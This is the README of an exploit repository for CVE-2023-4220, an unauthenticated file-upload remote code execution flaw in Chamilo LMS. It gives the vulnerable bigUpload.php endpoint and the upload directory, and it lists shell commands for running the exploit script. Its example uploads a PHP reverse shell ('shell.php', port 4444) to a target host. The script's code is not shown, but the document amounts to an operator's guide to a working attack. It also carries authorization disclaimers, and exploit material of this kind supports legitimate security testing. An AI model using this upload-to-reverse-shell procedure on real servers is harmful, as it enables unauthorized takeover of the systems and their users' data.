CVE-2023-4220 PoC — Chamilo LMS Unauthenticated Big Upload File Remote Code Execution

Readme

# Chamilo-LMS-CVE-2023-4220-Exploit

## Description


This exploit demonstrates an Unrestricted file upload vulnerability in Chamilo-LMS. The vulnerability affects the big file upload functionality located at:
```
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
```

**Affected Versions**: Chamilo LMS <= v1.11.24

The vulnerability allows arbitrary files to be uploaded to:
```
/main/inc/lib/javascript/bigupload/files/
```

## Vulnerability POC

### Step 1: Initial Setup
First, make the exploit executable and view usage information:
```bash
chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh
```

### Step 2: Execute Exploit
Run the exploit with required parameters:
```bash
./CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file
```

### Step 3: Verification
Verify the uploaded file at:
```
http://target.test/main/inc/lib/javascript/bigupload/files/
```

## Usage

### Command Options
- `-f`: Specify the file to upload
- `-h`: Target host URL
- `-p`: Port number for connection

### Example Usage
```bash
./CVE-2023-4220.sh -f shell.php -h http://target.test -p 4444
```

## Important Notes

- Tool for security research only
- Obtain proper authorization before testing
- Test only in authorized environments
- Follow responsible disclosure practices

## Technical Details

The vulnerability exists in the file upload mechanism of Chamilo LMS that fails to properly validate uploaded files in the big file upload functionality.

### Affected Component
```
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
```

### File Storage Location
```
/main/inc/lib/javascript/bigupload/files/
```


## References

- [CVE-2023-4220](https://nvd.nist.gov/vuln/detail/CVE-2023-4220)
- [Chamilo LMS Official Documentation](#)

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